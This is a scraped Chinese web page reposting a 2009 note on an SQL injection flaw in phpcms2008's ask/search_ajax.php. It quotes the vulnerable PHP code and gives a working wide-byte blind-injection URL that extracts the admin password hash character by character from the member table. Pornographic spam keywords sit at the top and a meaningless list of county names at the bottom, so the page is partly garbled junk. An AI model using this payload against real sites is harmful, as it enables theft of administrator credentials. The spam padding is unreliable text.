最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

phpcms2008 注入漏洞

  發(fā)布時間:2009-05-24 18:27:28   作者:佚名   我要評論
這個是最新有人發(fā)現(xiàn)的 該漏洞文件:ask/search_ajax.php 漏洞說明: /ask/search_ajax.php Code: if($q) { $where = " title LIKE '%$q%' AND status = 5";//沒做過濾直接感染了$where } else { exit('null'); } $infos = $ask->listinfo($wher
這個是最新有人發(fā)現(xiàn)的

該漏洞文件:ask/search_ajax.php

漏洞說明:
/ask/search_ajax.php
Code:

if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//沒做過濾直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
測試方法:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

相關文章

最新評論

乐东| 通州市| 花莲县| 通海县| 华容县| 师宗县| 淮南市| 鄂伦春自治旗| 茂名市| 马关县| 翁牛特旗| 南澳县| 土默特右旗| 无为县| 巩义市| 安吉县| 五大连池市| 广平县| 北宁市| 金门县| 开封县| 桂林市| 石楼县| 尤溪县| 滁州市| 西峡县| 岗巴县| 拜泉县| 防城港市| 陈巴尔虎旗| 孝昌县| 曲松县| 长春市| 五原县| 郧西县| 平安县| 滦南县| 梁河县| 扶余县| 巫溪县| 美姑县|